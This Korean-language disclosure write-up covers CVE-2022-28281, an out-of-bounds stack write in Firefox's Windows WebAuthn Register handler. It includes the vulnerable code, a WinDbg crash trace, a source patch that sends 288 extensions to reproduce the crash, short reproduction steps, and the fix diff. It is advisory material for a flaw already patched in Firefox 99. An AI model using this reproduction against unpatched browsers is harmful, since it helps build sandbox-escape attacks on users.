
CVE-2022-28281, Mozilla Firefox의 경계를 벗어난 쓰기(Out-of-bounds write) 취약점에 대한 PoC
이 버그는 손상된 Windows Firefox 렌더러 프로세스에서 트리거될 수 있습니다. 손상된 콘텐츠 프로세스가 부모 프로세스로 Register 명령에 예상치 못한 수의 WebAuthN 확장을 보내면, 경계를 벗어난 쓰기가 발생하여 메모리 손상 및 잠재적으로 악용 가능한 충돌이 발생합니다.
CVE-2022-28281로 할당되었으며, Firefox 99에서 수정되었고 mfsa2022-13에 문서화되어 있습니다.
문제는 WinWebAuthnManager::Register 함수에서 확인할 수 있습니다. 아래 줄을 참조하세요:
void WinWebAuthnManager::Register(
PWebAuthnTransactionParent* aTransactionParent,
const uint64_t& aTransactionId, const WebAuthnMakeCredentialInfo& aInfo) {
// ...
WEBAUTHN_EXTENSION rgExtension[1] = {};
// ...
for (const WebAuthnExtension& ext : extra.Extensions()) {
MOZ_ASSERT(cExtensions <
(int)(sizeof(rgExtension) / sizeof(rgExtension[0])));
if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
HmacCreateSecret =
ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
if (HmacCreateSecret) {
rgExtension[cExtensions].pwszExtensionIdentifier =
WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
rgExtension[cExtensions].cbExtension = sizeof(BOOL);
rgExtension[cExtensions].pvExtension = &HmacCreateSecret;
cExtensions++;
}
}
손상된 렌더러 프로세스는 1개 이상의 확장을 제공할 수 있으며, 이로 인해 위 코드가 인접한 스택 메모리를 손상시킵니다. 일반 JavaScript로는 이 상태에 도달할 수 없다고 생각합니다.
다음은 스택 보호 페이지에 도달했을 때 충돌이 발생하는 모습입니다(많은 확장을 보낼 때):
0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????
0:007> kp
# Child-SP RetAddr Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301]
01 0000009d`482fe710 00007ffc`bb7f1f88 xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27]
02 0000009d`482fe740 0000009d`482fe680 xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257]
문제가 최신 트리에 존재함을 확인했습니다. 제 트리가 동기화된 위치는 다음과 같습니다:
$ hg log
changeset: 679353:0fae6a6b254a
bookmark: autoland
tag: tip
user: Jamie Nicol <[email protected]>
date: Tue Feb 15 20:26:12 2022 +0000
summary: Bug 1755375 - Don't generate crash reports when android kills the GPU process. r=agi
이 버그는 Windows에만 영향을 미치며, 재현을 위해 특정 하드웨어가 필요하지 않습니다.
$ hg diff
diff --git a/dom/webauthn/WebAuthnManager.cpp b/dom/webauthn/WebAuthnManager.cpp
--- a/dom/webauthn/WebAuthnManager.cpp
+++ b/dom/webauthn/WebAuthnManager.cpp
@@ -367,16 +367,19 @@ already_AddRefed<Promise> WebAuthnManage
if (!MaybeCreateBackgroundActor()) {
promise->MaybeReject(NS_ERROR_DOM_OPERATION_ERR);
return promise.forget();
}
// TODO: Add extension list building
nsTArray<WebAuthnExtension> extensions;
+ for (size_t i = 0; i < 288; i++) {
+ extensions.AppendElement(WebAuthnExtensionHmacSecret(true));
+ }
// <https://fidoalliance.org/specs/fido-v2.0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html#sctn-hmac-secret-extension>
if (aOptions.mExtensions.mHmacCreateSecret.WasPassed()) {
bool hmacCreateSecret = aOptions.mExtensions.mHmacCreateSecret.Value();
if (hmacCreateSecret) {
extensions.AppendElement(WebAuthnExtensionHmacSecret(hmacCreateSecret));
}
}
windbgx -p <pid>)$ ./mach run --debug
$ python3 -m http.server
http://localhost:8000/trigger.html에 접속합니다0:007> g
(1920.298c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!mozilla::dom::WinWebAuthnManager::Register+0x30d:
00007ffc`bd4b7d9d 4c898cd4f0010000 mov qword ptr [rsp+rdx*8+1F0h],r9 ss:0000009d`48300000=????????????????
0:007> kp
# Child-SP RetAddr Call Site
00 0000009d`482fe4c0 00007ffc`bd4b7a6d xul!mozilla::dom::WinWebAuthnManager::Register(class mozilla::dom::PWebAuthnTransactionParent * aTransactionParent = <Value unavailable error>, unsigned int64 * aTransactionId = 0x0000009d`482fe778, class mozilla::dom::WebAuthnMakeCredentialInfo * aInfo = <Value unavailable error>)+0x30d [c:\mozilla-source\mozilla-unified\dom\webauthn\WinWebAuthnManager.cpp @ 301]
01 0000009d`482fe710 00007ffc`bb7f1f88 xul!mozilla::dom::WebAuthnTransactionParent::RecvRequestRegister(unsigned int64 * aTransactionId = <Value unavailable error>, class mozilla::dom::WebAuthnMakeCredentialInfo * aTransactionInfo = <Value unavailable error>)+0x1d [c:\mozilla-source\mozilla-unified\dom\webauthn\WebAuthnTransactionParent.cpp @ 27]
02 0000009d`482fe740 0000009d`482fe680 xul!mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived(class IPC::Message * msg__ = 0x0000009d`482fe680)+0x1c8 [c:\mozilla-source\mozilla-unified\obj-x86_64-pc-mingw32\ipc\ipdl\PWebAuthnTransactionParent.cpp @ 257]
아래 커밋 6afb1478d46a으로 수정되었습니다:
--- a/dom/webauthn/WinWebAuthnManager.cpp
+++ b/dom/webauthn/WinWebAuthnManager.cpp
@@ -282,20 +282,22 @@ void WinWebAuthnManager::Register(
case AttestationConveyancePreference::None:
winAttestation = WEBAUTHN_ATTESTATION_CONVEYANCE_PREFERENCE_NONE;
break;
default:
winAttestation = WEBAUTHN_ATTESTATION_CONVEYANCE_PREFERENCE_ANY;
break;
}
+ if (extra.Extensions().Length() > (int)(sizeof(rgExtension) / sizeof(rgExtension[0]))) {
+ nsresult aError = NS_ERROR_DOM_INVALID_STATE_ERR;
+ MaybeAbortRegister(aTransactionId, aError);
+ return;
+ }
for (const WebAuthnExtension& ext : extra.Extensions()) {
- MOZ_ASSERT(cExtensions <
- (int)(sizeof(rgExtension) / sizeof(rgExtension[0])));
-
if (ext.type() == WebAuthnExtension::TWebAuthnExtensionHmacSecret) {
HmacCreateSecret =
ext.get_WebAuthnExtensionHmacSecret().hmacCreateSecret() == true;
if (HmacCreateSecret) {
rgExtension[cExtensions].pwszExtensionIdentifier =
WEBAUTHN_EXTENSIONS_IDENTIFIER_HMAC_SECRET;
rgExtension[cExtensions].cbExtension = sizeof(BOOL);
rgExtension[cExtensions].pvExtension = &HmacCreateSecret;